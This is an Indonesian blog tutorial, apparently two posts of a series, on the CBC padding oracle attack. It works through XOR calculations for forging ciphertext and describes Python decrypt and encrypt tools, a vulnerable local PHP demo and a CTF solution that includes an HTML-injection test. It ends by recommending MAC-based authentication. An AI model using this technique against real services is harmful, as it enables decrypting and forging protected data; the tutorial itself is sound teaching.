Mari kita sedikit mereview cara kita mendekrip ciphertext dengan padding oracle attack. Dalam contoh pada tulisan sebelumnya kita diberikan ciphertext ’2D7850F447A90B87123B36A038A8682F’ untuk didekrip. Cipherteks tersebut bisa dipecah menjadi 2 blok berukuran 8 byte:

  • C1 = 2D-78-50-F4-47-A9-0B-87
  • C2 = 12-3B-36-A0-38-A8-68-2F

Dalam tulisan sebelumnya pertama kita mendekrip blok dari C2 dulu. Gambar di bawah ini memperlihatkan apa yang terjadi di server ketika mendekrip blok C2 menjadi P2.

Screen Shot 2013-03-17 at 2.38.45 PM

Perlu diperhatikan bahwa P2 adalah hasil XOR antara Decrypt(C2) dengan C1.

  • P2 = Decrypt(C2) XOR C1

Lalu apa artinya? Artinya adalah P2 sangat tergantung dengan blok ciphertext sebelumnya (C1). Jadi bila kita mengirim 2 blok ciphertext, hasil dekripsi blok ciphertext kedua dipengaruhi atau tergantung dari blok ciphertext pertama.

Ingat, ketika melakukan serangan padding oracle attack, kita juga mengirimkan 2 blok ciphertext, blok pertama berubah-ubah ketika melakukan brute force (sedangkan blok kedua tetap) untuk memaksa byte terakhir P2 bernilai seperti yang kita inginkan (01, 02-02, 03-03-03, 04-04-04-04 dan seterusnya). Saya posting lagi gambar di tulisan sebelumnya.

Screen Shot 2013-03-13 at 2.20.57 PM

Dalam gambar di atas kita mengirimkan 2 blok ciphertext, dengan blok pertama nilainya dirancang khusus agar P2 bernilai 08-08-08-08-08-08-08-08.

Kalau kita bisa memaksa P2 bernilai tertentu, artinya kita bisa membuat P2 bernilai apapun yang kita mau, bagaimana caranya? Caranya mudah, yaitu dengan mengirimkan C1 tertentu yang membuat hasil XOR antara Decrypt(C2) dan C1 menjadi yang kita mau.

Dari padding oracle attack kita bisa tahu isi Decrypt(C2), sedangkan C1 adalah nilai yang bisa bebas dikirim oleh client (under attacker’s control), jadi tidak ada kesulitan untuk membuat P2 menjadi bernilai apapun yang diinginkan.

Sebagai contoh, kita ambil kasus dari tulisan sebelumnya. Dari padding oracle attack di tulisan sebelumnya kita sudah mengetahui Decrypt(C2):

  • Decrypt(12-3B-36-A0-38-A8-68-2F) = 64-32-1B-B8-0A-AA-08-86

Berapakah C1 agar P2 menjadi 4b-49-4c-4c-20-49-54-01 (‘KILL IT’ + 1 byte padding).

Screen Shot 2013-03-17 at 3.32.09 PM

C1 (warna hijau pada gambar di atas) bisa dihitung dengan mudah, dengan mengXORkan antara Decrypt(C2) (warna kuning pada gambar di atas) dengan P2 yang diinginkan (warna orange pada gambar di atas).

  • 86 XOR 01 = 87
  • 08 XOR 54 = 5C
  • AA XOR 49 = E3
  • 0A XOR 20 = 2A
  • B8 XOR 4C = F4
  • 1B XOR 4C = 57
  • 32 XOR 49 = 7B
  • 64 XOR 4B = 2F

Bila kita kirimkan C1, 2F-7B-57-F4-2A-E3-5C-87 dan C2, 12-3B-36-A0-38-A8-68-2F seperti gambar di bawah ini, maka bisa dipastikan P2 akan bernilai ‘KILL IT’+01 byte padding, artinya kita berhasil mengenkrip teks baru ‘KILL IT’+01 hanya dengan operasi XOR sederhana walaupun kita tidak mengetahui kunci enkripsinya.

Screen Shot 2013-03-17 at 3.38.07 PM

Jadi secara umum bila kita akan mengenkrip n blok plainteks, maka cara untuk mengenkripnya adalah:

  1. Generate blok Cn dengan isi bebas (random atau null byte)
  2. Dengan padding oracle attack, cari Decrypt(Cn)
  3. Hitung Cn-1 = Decrypt(Cn) XOR Pn
  4. Dengan padding oracle attack, cari Decrypt(Cn-1)
  5. Hitung Cn-2 = Decrypt(Cn-1) XOR Pn-1
  6. Dengan padding oracle attack, cari Decrypt(Cn-2)
  7. Hitung Cn-3 = Decrypt(Cn-2) XOR Pn-2
  8. dan seterusnya

Kenapa kita mulai dengan Cn berisi nilai random ? Karena sebenarnya isi Cn tidaklah penting, apapun isinya nanti hasil enkripsinya akan dipaksa menjadi plainteks yang diinginkan dengan bantuan Cn-1 di sebelah kirinya. Jadi terserah Cn isinya apa, yang penting Cn-1 dikirinya dihitung khusus untuk memaksa hasil dekripsinya menjadi yang diharapkan.

Dalam bahasa sederhana, agar dekripsi Ci menjadi Pi yang diinginkan, harus ditaruh Ci-1 yang sudah dihitung khusus di sebelah kirinya sebagai faktor yang mengoreksi atau memperbaiki hasil enkripsi Ci.

Begitu pula Ci-1 juga akan dikoreksi dengan Ci-2 yang juga sudah dihitung khusus dengan cara yang sama disebelah kirinya agar Ci-1 ketika didekrip menjadi Pi-1 yang diinginkan. Khusus untuk C1, pengoreksinya adalah C0 atau IV.

Contoh Enkripsi

Dalam skenario ini kita diberikan suatu server yang berperilaku sebagai ‘the oracle’, dia akan menjawab dengan padding valid/invalid setiap menerima kiriman ciphertext dari client.

Plainteks yang akan dienkrip: BESOK PAGI SERANGAN UMUM IWO JIMA.

Langkah pertama adalah memecah plainteks menjadi blok berukuran 8 byte termasuk paddingnya:

  1. P1 = ‘BESOK PA’
  2. P2 = ‘GI SERAN’
  3. P3 = ‘GAN UMUM’
  4. P4 = ‘ IWO JIM’
  5. P5 = ‘A’+07+07+07+07+07+07+07

Challengenya adalah kita harus mengenkrip plainteks di atas hanya dengan memanfaatkan ‘the oracle’ tanpa mengetahui kunci enkripsinya.

Kita akan menghitung mulai dari blok plainteks terakhir, P5 kemudian beranjak maju sampai P1. Proses mencari ciphertext adalah:

  1. C5 dipilih bebas secara random
  2. C4 = Decrypt(C5) XOR P5
  3. C3 = Decrypt(C4) XOR P4
  4. C2 = Decrypt(C3) XOR P3
  5. C1 = Decrypt(C2) XOR P2
  6. IV = Decrypt(C1) XOR P1

Decrypt(Ci) bisa dicari dengan padding oracle attack. Saya tidak akan menjelaskan bagaimana caranya, bila anda masih belum mengerti, silakan baca lagi tulisan saya sebelum ini.

Dengan prosedur sederhana ini kini kita sudah punya lengkap IV+C1+C2+C3+C4+C5 yang bila dikirim ke server akan didekrip menjadi plainteks yang kita inginkan ‘BESOK PAGI SERANGAN UMUM IWO JIMA’ walaupun kita tidak tahu kuncinya.

Tools Dekripsi dengan Padding Oracle Attack

Sebelum masuk ke enkripsi dengan padding oracle, kita mulai dulu dengan dekripsi padding oracle. Sebagai studi kasus, saya membuat script php yang vulnerable terhadap padding oracle attack, berikut adalah source codenya.

Screen Shot 2013-03-17 at 8.01.10 PM

Script tersebut menerima input dari parameter GET ‘crypted’ yang berisi IV+ciphertext dalam hex encoded string. Script mengambil 8 byte paling depan sebagai IV, dan sisanya sebagai ciphertext yang akan didekrip.

Ketika dikirimkan ciphertext melalui parameter crypted, script akan mendekripnya dan memeriksa padding hasil dekripsinya. Bila paddingnya valid maka script akan memberi response ‘PADDING OK’, bila padding invalid script akan memberi HTTP response status ’500 Internal Server Error’.

Kita diberikan URL dibawah ini berisi IV+ciphertext dan diminta untuk mendekrip isinya dengan menggunakan padding oracle attack.

http://localhost:8888/kripto/thematrixoracle.php?crypted=0102030405060708C10E6DCBB8CF910B324F2E498BFCFF207832DB0455ADFBD576577FF983EDE9454BCFDFB1F4678929

Script ‘thematrixoracle.php’ tersebut tidak memberikan banyak informasi, bila URL tersebut direquest, maka response yang didapat hanya teks ‘PADDING OK’. Namun bila parameter crypted tersebut diubah sedikit byte terakhirnya dari 29 menjadi 20, maka responsenya tidak ada, hanya status code 500. Gambar di bawah ini adalah ketika script tersebut direquest.

Screen Shot 2013-03-18 at 2.08.19 PM

Hanya dengan mengirimkan ‘specially crafted’ ciphertext dan menginterogasi ‘the oracle’ apakah ciphertext tersebut ketika didekrip menghasilkan plainteks dengan padding yang valid atau tidak, kita bisa mendekrip suatu cipherteks.

Source code dibawah ini adalah tools yang saya buat dengan python untuk melakukan padding oracle attack ke URL di atas.

Screen Shot 2013-03-18 at 12.49.33 PM

Screen Shot 2013-03-18 at 1.36.19 PM

Di bawah ini adalah rekaman screen recording ketika tools diatas dijalankan untuk mendekrip ciphertext yang diminta. Tools tersebut berhasil mendekrip ciphertext yang diminta menjadi ‘Serangan Umum 1 Maret jam 6 pagi’ walaupun tanpa mengetahui kuncinya sama sekali.


Tools di atas terlihat mendekrip ciphertext satu byte per satu byte sampai akhirnya semua ciphertext berhasil didekrip.

Tools Enkripsi dengan Padding Oracle Attack

Oke saya sudah menunjukkan sebuah contoh padding oracle dan tools untuk mengeksploitasinya yang digunakan untuk mendekrip suatu ciphertext. Ingat padding oracle tidak hanya bisa dipakai untuk mendekrip ciphertext, tapi kita bisa mengenkrip plainteks apa saja yang kita inginkan walaupun tanpa mengetahui kuncinya.

Di bawah ini adalah source code yang saya buat juga dengan python untuk mengenkrip suatu teks menggunakan padding oracle attack, tanpa mengetahui kuncinya.

Screen Shot 2013-03-19 at 6.22.37 AM

Screen Shot 2013-03-18 at 1.38.06 PM

Kalau dilihat source code padfinder.py sebelumnya, yang dipakai untuk mendekrip, dengan tools padenkrip.py untuk mengenkrip di atas tidak banyak bedanya. Baik enkrip maupun dekrip keduanya memang sama-sama mengirimkan ‘specially crafted’ ciphertext dan menginterogasi ‘the oracle’. Namun ada sedikit perbedaan di antara keduanya.

Bedanya hanya ketika melakukan dekripsi, hasil Decrypt di-XOR dengan ciphertext blok sebelumnya, sedangkan ketika melakukan enkripsi, hasil Decrypt di-XOR dengan plaintext yang diinginkan (ditarget).

Berikut adalah rekaman screen recording ketika tools di atas dijalankan untuk mengenkrip teks ‘BESOK PAGI SERANGAN UMUM IWO JIMA’. Setelah berhasil mengenkrip, untuk menguji apakah ciphertextnya benar atau salah. Cciphertext tersebut coba didekrip dengan padding oracle attack yang sama menggunakan tools padfinder.py yang sudah ditunjukkan dalam rekaman screen recording di atas.


Solving CTF Challenge

Saya menemukan sebuah challenge CTF yang mengeksploitasi padding oracle attack. Peserta diberikan URL berikut:

http://y-shahinzadeh.ir/padding-oracle/index.php?Str=51afc6b478d9031efdffca538c68dd4cfb7dbaba9b28d756

Bila URL tersebut dibuka di browser maka akan terlihat aturan dan goal dari challenge ini beserta plainteks hasil dekripsi cipherteks yang dikirim melalui parameter GET ‘Str’ bila padding plainteksnya valid.

Screen Shot 2013-03-19 at 5.59.04 AM
Screen Shot 2013-03-19 at 5.55.19 AM

Namun bila cipherteks yang dikirim plainteksnya tidak mengandung padding yang valid, akan terlihat pesan ‘Wrong padding’.

Screen Shot 2013-03-19 at 5.57.46 AM

Goalnya adalah kita harus mengenkrip teks ‘haroldabelson’ dan mengirimkan cipherteksnya ke URL tersebut. Goal berhasil tercapai bila URL tersebut memperlihatkan bahwa cipherteks yang kita kirim berhasil didekrip menjadi teks ‘haroldabelson’ yang diminta.

CTF ini mirip dengan PoC yang kita buat, jadi tools untuk eksploitasinya juga tidak banyak perubahan. Saya hanya perlu mengubah URL target dari localhost ke url CTF ini dan mengubah kondisi valid paddingnya. Kondisi valid paddingnya bukan lagi status ’200 OK’ tapi padding disebut valid bila HTML responsnya tidak mengandung kata ‘Wrong’.

Screen Shot 2013-03-19 at 6.17.40 AM

Karena iseng saya tidak akan mengenkrip teks ‘haroldabelson’ seperti yang diminta, saya akan mengenkrip tag HTML untuk melihat apakah hasil dekripsinya langsung di-dump ke client tanpa validasi atau ada validasi XSS dulu.

Screen Shot 2013-03-19 at 6.07.30 AM

Hasilnya ternyata memang tidak ada validasi XSS, cipherteks yang saya kirim langsung didekrip dan di-dump ke browser client tanpa dilakukan filtering atau validasi.

Screen Shot 2013-03-19 at 6.11.08 AM

Padding Oracle dan Authenticated Encryption

Padding oracle bisa dipakai untuk mendekrip pesan itu memang berbahaya karena mengancam confidentiality data. Namun sebenarnya enkripsi dengan padding oracle tidak kalah bahayanya dari dekripsi.

Bayangkan dalam situasi perang bila orang lain bisa membuat encrypted message palsu yang menyesatkan dengan kunci yang benar tanpa harus tahu kunci enkripsinya. Pihak yang menerima pesan palsu tadi akan mengira pesan tersebut ‘legitimate’ karena bisa didekrip dengan sempurna dan hasil dekripsinya pun menghasilkan pesan yang bisa dimengerti.

Don’t use encryption without message authentication

Ingat enkripsi hanya memberikan jaminan confidentiality, enkripsi tidak menjamin integrity dan authenticity. Kesalahan yang umum dilakukan adalah menggunakan enkripsi tanpa adanya message authentication. Padding oracle attack terjadi karena server langsung mendekrip ciphertext yang diterima, tanpa sebelumnya memeriksa apakah ciphertext tersebut terjamin integrity dan authenticitynya.

Seharusnya selain enkripsi, dibarengi juga dengan MAC untuk menjamin integrity dan authenticity dari pesan. Server tidak boleh mendekrip ciphertext sebelum yakin bahwa ciphertext tersebut integritasnya terjamin dengan cara memverifikasi MAC.

 

Padding Oracle Attack

On March 13, 2013, in Cryptography, by Rizki Wicaksono

oraclematrix

Apa itu padding oracle attack ? Banyak yang mengira ini pasti sejenis SQL injection atau exploit pada database Oracle. Sebenarnya padding oracle attack tidak ada hubungannya sama sekali dengan database oracle, ini adalah jenis serangan yang meng-interogasi ‘the oracle’ kemudian dengan matematika sederhana (operasi XOR) menggunakan jawaban ‘the oracle’ untuk mendekrip ciphertext.

Block Cipher vs Stream Cipher

Secara umum ada dua pendekatan bagaimana algoritma enkripsi dan dekripsi memproses data:

  • Block Cipher. Enkripsi dan dekripsi dilakukan terhadap satu blok plaintext dan ciphertext berukuran tertentu (contohnya blok berukuran 64 bit atau 128 bit). Dalam enkripsi block-cipher, bila data terdiri dari banyak blok, semua blok dienkrip/dekrip dengan kunci yang sama. Contoh algoritma enkripsi block-cipher adalah DES dan AES.

  • Stream-cipher. Data dianggap sebagai aliran bit/byte, proses enkrip dan dekrip dilakukan terhadap satu bit atau satu byte setiap waktu seperti pada aliran produksi barang melalui assembly line/conveyor belt di pabrik. Bila dalam block-cipher semua blok menggunakan kunci yang sama, dalam stream-cipher setiap bit/byte dienkrip/dekrip dengan kunci yang berbeda menggunakan aliran kunci (keystream) pseudo-random yang di-generate dari suatu kunci berukuran tertentu (40 bit-128 bit). Contoh algoritma enkripsi stream-cipher adalah RC4.

Mode Operasi Block-Cipher

Algoritma enkripsi block cipher seperti AES/DES sendiri sebenarnya hanya dirancang untuk melakukan enkripsi/dekripsi terhadap satu blok plaintext atau blok ciphretext saja. Contohnya AES, dirancang untuk mengubah plaintext berukuran 128 bit (dengan kunci berukuran 128/192/256 bit) menjadi ciphertext berukuran 128 bit juga.

Screen Shot 2013-03-12 at 7.00.58 AM

Bila hanya ada satu blok plaintext/ciphertext, maka enkripsi dan dekripsi dapat dilakukan secara langsung pada blok tersebut. Namun bila ciphertext/plaintextnya besar dan setelah dipotong-potong tersusun dalam lebih dari satu blok, tentu harus ada cara/prosedur untuk memproses blok-blok tersebut, prosedur ini disebut mode operasi. Dalam mode operasi dijelaskan bagaimana enkripsi/dekripsi dilakukan terhadap blok-blok plaintext/ciphertext tersebut, bagaimana hubungan antara satu blok dengan blok lainnya, blok manakah yang harus dienkrip/dekrip duluan dan sebagainya.

Beberapa contoh mode operasi adalah ECB dan CBC. Perlu diingat bahwa mode operasi bukanlah algoritma enkripsi, algoritma enkripsi seperti AES/DES dapat dioperasikan dalam banyak mode operasi yang berbeda seperti AES-CBC (AES dalam mode operasi CBC), AES-EBC (AES dalam mode operasi EBC) dan sebagainya. Jadi mode operasi lebih mirip protokol/prosedur untuk mengoperasikan suatu algoritma enkripsi tertentu.

Electronic Code Book (ECB) Mode

Pendekatan yang paling sederhana adalah dengan dengan meng-enkrip/dekrip setiap blok tersebut sendiri-sendiri, secara independen. Blok satu dan blok yang lain tidak ada hubungannya dan diproses sendiri-sendiri. Mode operasi yang seperti ini disebut sebagai mode ECB (electronic code book). Gambar di bawah ini memperlihatkan proses enkripsi dan dekripsi dalam mode ECB.

Screen Shot 2013-03-10 at 8.54.01 PM

Dalam gambar di atas terlihat bahwa masing-masing blok akan dienkrip/dekrip terpisah, tidak ada hubungan satu sama lain. Apa yang terjadi bila Plaintext 1 dan Plaintext 2 isinya sama ? Karena dalam algoritma block cipher semua blok menggunakan kunci yang sama, tentu saja bila plaintext blok 1 dan plaintext blok 2 identik akan menghasilkan ciphertext blok 1 dan ciphertext blok 2 yang juga identik. Ini adalah kelemahan mode ECB, bila ada blok-blok plaintext yang identik, maka ciphertextnya akan identik juga sehingga akan memperlihatkan pola yang mudah dilihat dalam ciphertext.

Screen Shot 2013-03-10 at 10.55.09 PM

Kelemahan mode EBC ini akan terlihat jelas ketika meng-enkrip dokumen/data yang memiliki banyak data yang sama seperti gambar yang biasanya memiliki banyak deretan pixel yang warnanya sama. Pada gambar di atas (gambar wikipedia), karena banyak area yang warnanya sama seperti latar putih, warna hitam dan kuning yang luas, membuat file gambar tersebut ketika dipotong-potong akan mempunyai banyak blok yang identik. Mode ECB bahkan tidak bisa menjamin confidentiality karena gambar pinguinnya masih terlihat jelas setelah dienkripsi.

Kelemahan ini adalah kelemahan mode operasi, bukan algoritma enkripsinya. Jadi sekuat apapun algoritma enkripsinya, bila dioperasikan dalam mode ECB, hasilnya juga akan mengandung kelemahan yang sama (blok plaintext identik menghasilkan blok ciphertext identik).

Cipher Block Chaining (CBC) Mode

Bila dalam mode ECB (electronic code book) setiap blok di-enkrip/dekrip sendiri-sendiri secara independen, dalam mode CBC (cipher block chaining), suatu blok dan blok lain saling terkait (chained). Saling terkait disini maksudnya adalah enkripsi dan dekripsi suatu blok data selalu melibatkan ciphertext (hasil enkripsi) blok sebelumnya.

Agar blok-blok plaintext yang identik tidak menghasilkan blok-blok ciphertext yang identik pula, mode CBC (cipher block chaining) mengaitkan (chaining) satu blok dengan blok ciphertext sebelumnya dan menggunakan random initialization vector (IV) sebagai ciphertext blok ke-0. Cara kerja mode CBC adalah seperti pada gambar di bawah ini.

Screen Shot 2013-03-08 at 9.45.53 AM

Setiap blok plaintext di-XOR dengan ciphertext hasil enkripsi blok plaintext sebelumnya baru kemudian hasil operasi XOR ini dienkrip untuk menghasilkan blok ciphertext. Begitu pula sebaliknya ketika dekripsi. Dekripsi yang dilakukan terhadap suatu blok ciphertext tidak langsung menghasilkan blok plaintext, hasil dekripsi tersebut harus di-XOR dulu dengan blok ciphertext sebelumnya untuk menghasilkan blok plaintext. Jadi enkripsi maupun dekripsi selalu melibatkan blok ciphertext sebelumnya.

Dalam bentuk notasi matematika, bisa dilihat di bawah ini:

Screen Shot 2013-03-10 at 6.54.29 PM

Variabel yang dipakai dalam formula di atas:
⊕ = Notasi untuk eXclusive OR
P = Plaintext
C = Ciphertext
IV = Initialization Vector (boleh dianggap sebagai C0)
Ek = Enkripsi dengan kunci k
Dk = Dekripsi dengan kunci k
P1 = Plaintext blok ke-1
P2 = Plaintext blok ke-2
Pn = Plaintext block ke-n
C1 = Ciphertext block ke-1
C2 = Ciphertext block ke-2
Cn = Ciphertext block ke-n

IV (Initialization Vector)

Kalau dalam setiap enkripsi/dekripsi harus melibatkan ciphertext blok sebelumnya, bagaimana dengan enkripsi/dekripsi blok pertama ? Karena posisinya adalah blok pertama, maka tentu saja tidak ada ciphertext blok ke-0 (C0).

Karena tidak ada C0, maka diperlukan suatu data yang berfungsi sebagai C0, data ini disebut dengan IV. Dengan adanya IV, enkripsi/dekripsi blok pertama yang membutuhkan ciphertext blok sebelum pertama (yang sebenarnya tidak ada), bisa menggunakan IV sebagai (seolah-olah) ciphertext blok ke-0.

Pemilihan IV tidak boleh sembarangan, IV sebisa mungkin random dan unik, jangan menggunakan IV yang predictable dan berulang (IV yag sama dipakai lagi untuk kunci yang sama). IV sebenarnya tidak perlu dirahasiakan, karena IV bisa juga dianggap sebagai bagian dari ciphertext juga (C0), tapi kalau IV dirahasiakan memang akan menyulitkan attacker mendapatkan blok pertama.

Padding

Dalam block-cipher plaintext dan ciphertext harus dipotong-potong dan disusun dalam blok-blok data berukuran sama. Sebagai contoh, DES dan Blowfist menggunakan blok berukuran 64 bit, AES menggunakan blok berukuran 128 bit. Karena data harus masuk dalam blok berukuran sama, maka dibutuhkan padding byte sebagai pengganjal untuk menggenapi data agar pas dengan ukuran blok.

Aturan mengenai padding dijelaskan dalam standar PKCS#7 dan PKCS#5 (Public Key Cryptographic Standard). Padding dilakukan dengan mengisi byte bernilai N bila dibutuhkan padding sebanyak N byte. Sebagai contoh, bila dibutuhkan padding 3 byte, maka paddingnya berisi ’03 03 03′, bila dibutuhkan padding 5 byte, maka paddingnya berisi ’05 05 05 05 05′.

Beberapa contoh padding yang benar terlihat pada gambar di bawah ini.

Screen Shot 2013-03-11 at 3.20.40 PM

Mungkin ada yang melihat keanehan pada cara padding di atas. Bila datanya sudah berisi 8 byte ‘ABCDEFGH’ kenapa masih perlu padding? Bukankah padding hanya untuk data yang tidak genap 8 byte?

Dalam standar PKCS memang sudah diatur bahwa padding harus ditambahkan pada semua data, walaupun data tersebut sudah genap seukuran blok yang diperlukan. Jadi bila blok datanya adalah 8 byte, maka berapapun ukuran datanya, padding tetap harus ditambahkan, minimal 1 byte, maksimal 8 byte.

Byte padding ‘dummy’ ini perlu ditambahkan untuk menghindarkan kebingungan. Bayangkan bila aturan paddingnya tidak menambahkan padding pada blok yang sudah seukuran blok yang diperlukan. Bila urutan byte dalam blok adalah ’41 42 43 44 45 46 47 01′ seperti gambar di atas, sistem akan bingung menentukan apakah blok data tersebut adalah ‘ABCDEFG’ dan 01 byte padding, atau memang datanya adalah ‘ABCDEFG’+byte 01 (byte 01 adalah bagian dari data, bukan padding byte).

Beberapa contoh lain padding yang valid seperti pada gambar di bawah ini. Bila dalam satu blok 8 byte isinya adalah byte 01 semua, maka byte 01 terakhir dianggap sebagai padding byte, sehingga yang dianggap sebagai data adalah 7 byte saja. Begitu pula bila dalam satu blok, 5 byte terakhirnya bernilai 02, maka dua byte terakhir dianggap sebagai padding byte, sehingga yang dianggap data adalah 6 byte pertama.

Screen Shot 2013-03-11 at 4.20.22 PM

Invalid Padding

Padding oracle attack bekerja dengan mendeteksi respons dari server yang memberitahukan client apakah padding valid atau tidak. Perlu diingat bahwa pengecekan padding dilakukan setelah dekripsi selesai dilakukan.

Mendeteksi byte padding apakah valid atau tidak, dimulai dengan melihat byte terakhir pada blok terakhir kemudian baru melihat byte-byte sebelumnya tergantung isi dari byte terakhirnya. Sebagai contoh, beberapa kondisi yang menentukan padding pada blok berukuran 8 byte (64 bit) valid atau tidak valid antara lain :

  • Bila byte terakhir bernilai diluar range 01 – 08, maka padding pasti tidak valid
  • Bila byte terakhir bernilai 01, maka padding pasti valid
  • Bila byte terakhir bernilai 02, maka padding valid bila 1 byte sebelumnya juga 02
  • Bila byte terakhir bernilai 03, maka padding valid bila 2 byte sebelumnya juga 03
  • Bila byte terakhir bernilai 04, maka padding valid bila 3 byte sebelumnya juga 04
  • Bila byte terakhir bernilai 05, maka padding valid bila 4 byte sebelumnya juga 05
  • Bila byte terakhir bernilai 06, maka padding valid bila 5 byte sebelumnya juga 06
  • Bila byte terakhir bernilai 07, maka padding valid bila 6 byte sebelumnya juga 07
  • Bila byte terakhir bernilai 08, maka padding valid bila 7 byte sebelumnya juga 08

Beberapa contoh invalid padding terlihat pada gambar di bawah ini.

Screen Shot 2013-03-11 at 7.10.32 PM

Proses Enkripsi

Mari kita lihat lebih detil proses enkripsi suatu data. Dalam contoh ini kita akan melihat proses enkripsi plaintext ‘ABCDEFGHIJKLM’ dengan kunci ‘rahasia’ menggunakan DES dalam mode CBC. Dalam contoh ini IV yang digunakan adalah deretan byte (01 02 03 04 05 06 07 08).

Screen Shot 2013-03-12 at 2.58.09 PM

Karena panjang plaintext adalah 13 byte, maka padding yang dibutuhkan adalah 3 byte agar genap menjadi 2 blok berukuran 8 byte. Setelah ditambahkan padding, blok pertama berisi ‘ABCDEFGH’, blok kedua berisi ‘IJKLM’+03+03+03.

Perlu diingat! Pada saat enkripsi, padding ditambahkan pada plaintext. Pada saat dekripsi, plaintext hasil dekripsi akan diperiksa, apakah padding bytenya valid atau tidak.

Setelah terbentuk 2 blok, proses enkripsi bisa dimulai dari plaintext blok pertama (P1) diXOR dengan IV, kemudian hasilnya di-enkrip dan menjadi ciphertext blok pertama (C1). Plaintext blok kedua (P2) diXOR dengan ciphertext blok pertama (C1), kemudian hasilnya dienkrip menjadi ciphertext blok kedua (C2). Perhatikan prosesnya byte per byte dalam gambar di bawah ini.

Screen Shot 2013-03-12 at 3.39.58 PM

Proses Dekripsi

Setelah proses enkripsi selesai, sekarang kita juga akan melihat proses dekripsinya. C1 didekrip menjadi deretan byte ’40 40 40 40 40 40 40 40′ kemudian diXOR dengan IV sehingga menghasilkan plaintext blok 1 (P1). Berikutnya blok C2 didekrip menjadi deretan byte ’64 32 1B B8 0A AA 08 86′ kemudian diXOR dengan C1 sehingga menghasilkan plaintext blok 2 (P2).

Screen Shot 2013-03-12 at 4.04.25 PM

Karena kunci dan ciphertext yang di-dekrip benar, maka proses dekripsi pada gambar di atas menghasilkan plaintext yang benar. Namun bila ciphertext yang didekrip bukan ciphertext yang benar, atau kuncinya salah, maka proses dekripsi tetap akan dilakukan sesuai prosedur, namun hasilnya bukan plaintext semula, namun data-data byte tak beraturan (garbled text).

Perlu diingat. Proses dekripsi akan tetap dilakukan meskipun ciphertext atau kuncinya salah. Ciphertext dan kunci yang benar akan didekrip menjadi plaintext yang benar, namun ciphertext atau kunci yang salah akan didekrip menjadi plaintext yang salah (deretan byte tak beraturan, garbled text)

Validasi Padding

Rangkaian proses dekripsi tidak berhenti setelah dekripsi selesai. Setelah ciphertext di-dekrip, selanjutnya akan dilakukan pemisahan byte mana yang berupa data (plaintext) dan byte mana yang berupa padding byte.

Pemisahan data dan padding hanya bisa dilakukan bila hasil dekripsinya mengandung byte padding yang valid. Ingat bahwa hasil dekripsi belum tentu menghasilkan plaintext yang benar (bila ciphertext atau kunci salah, hasilnya juga salah), jadi ada kemungkinan hasil dekripsinya adalah data byte tak beraturan yang tentu saja byte paddingnya tidak valid.

Dalam contoh gambar di atas, karena ciphertext dan kuncinya benar, maka hasil dekripsinya juga menghasilkan plaintext yang benar dengan byte padding yang valid (rangkaian byte 03 03 03). Pada contoh di atas, karena byte paddingnya adalah ’03 03 03′, maka bisa dipisahkan antara plaintext data dan byte padding dengan cara membuang 3 byte terakhir, sisanya (‘ABCDEFGHIJKLM’) adalah plaintext data. Kalau disederhanakan gambar proses dekripsi di atas menjadi (warna hijau=blok 1, warna biru=blok 2):

Screen Shot 2013-03-12 at 4.52.42 PM

Namun bagaimana bila ciphertextnya salah? Mari kita lihat contoh ciphertext yang salah, dan kita lihat apa hasilnya bila ciphertext salah tersebut didekrip. Bagaimana bila ciphertext blok pertama diubah byte terakhirnya dari 0×85 menjadi 0×83.

Screen Shot 2013-03-12 at 5.02.11 PM

Walaupun ciphertextnya sudah diubah, proses dekripsi tetap berjalan seperti biasa karena algoritma enkripsi/dekripsi bekerja mengubah kumpulan bit berukuran satu blok, apapun isi inputnya, menjadi kumpulan bit lain berukuran satu blok juga.

Perhatikan bahwa byte terakhir plaintext bernilai 05, tapi 5 byte terakhir plaintext bukan berisi 05 sesuai standar padding PKCS, artinya plaintext tersebut mengandung kesalahan padding. Jadi algoritma dekripsi tetap akan mendekrip semua input yang masuk, apapun isi inputnya, walaupun nanti hasil dekripsinya tidak valid paddingnya.

Sekarang kita coba lagi dengan ciphertext lain, kali ini byte terakhir ciphertext blok pertama diubah menjadi byte 0×86. Mari kita lihat apa yang terjadi.

Screen Shot 2013-03-12 at 5.15.34 PM

Setelah didekrip ternyata byte terakhir hasil dekripsinya bernilai 00, artinya bukan padding byte yang valid juga (padding byte yang valid bernilai 01-08 untuk blok berukuran 64 bit).

Oke, mari kita coba sekali lagi untuk ciphertext lainnya. Kali ini byte terakhir ciphertext blok pertama diubah mejadi 0×87, mari kita lihat apa yang terjadi.

Screen Shot 2013-03-12 at 5.29.21 PM

Kali ini ternyata byte terakhir hasil dekripsinya bernilai 0×01. Karena byte terakhir bernilai 01, maka bisa dipastikan paddingnya valid tanpa perlu melihat byte-byte lain sebelumnya.

Malleability

Mari kita perhatikan sekali lagi perbedaan antara ciphertext yang asli dan yang sudah dimodifikasi di bawah ini.

Screen Shot 2013-03-14 at 9.33.26 PM

Sebelum diubah, padding byte plaintextnya adalah 03-03-03 sehingga yang dianggap sebagai data adalah ‘ABCDEFGHIJKLM’. Dengan mengubah ciphertextnya satu byte saja dari 0×85 menjadi 0×87, kini byte terakhir plaintextnya bukan lagi 0×03, berubah menjadi 0×01 sehingga yang dianggap data adalah ‘ABCDEFGHIJKLM’+03+03 (kini byte 03 dianggap data, bukan bagian dari padding).

Perhatikan bahwa ternyata dengan mengubah satu byte saja dari ciphertext, bisa menghasilkan plaintext yang sama-sama valid, namun isinya berbeda. Sifat ini disebut dengan malleability.

Untuk memahami bahayanya properti malleability ini, bayangkan ada man-in-the-middle mencegat suatu ciphertext, kemudian mengubah satu byte saja dari ciphertext tersebut sebelum meneruskan ke tujuan. Setelah tiba di tujuan, ciphertext yang sudah diubah tadi ketika didekrip menghasilkan pesan yang berbeda dengan yang dimaksud dalam pesan aslinya. Hal ini tentu berbahaya bila isi pesannya berubah dari “kirim uang 1 juta ke rekening 123″ berubah menjadi “kirim uang 1 juta ke rekening 124″.

The Oracle
oracleneo

Dalam padding oracle attack, yang dimaksud dengan Oracle disini tidak ada hubungannya sama sekali dengan SQL, dan database Oracle.

Oracle yang dimaksud adalah validation oracle, dimana kita bisa bertanya dan akan dijawab oleh oracle dengan jawaban ya atau tidak, benar atau salah, atau kondisi-kondisi lain. Terkadang oracle ini tidak menjawab secara verbal (blind-answer), mungkin hanya berupa perbedaan waktu (timing-attack), bila jawabannya benar, maka waktu memprosesnya lebih lama dibandingkan bila jawabannya salah.

Apapun dan bagaimanapun caranya merespons bila client bisa membedakan mana respons yang berarti valid padding, dan mana respons yang berarti invalid padding, artinya server itu telah menjadi ‘the oracle’.

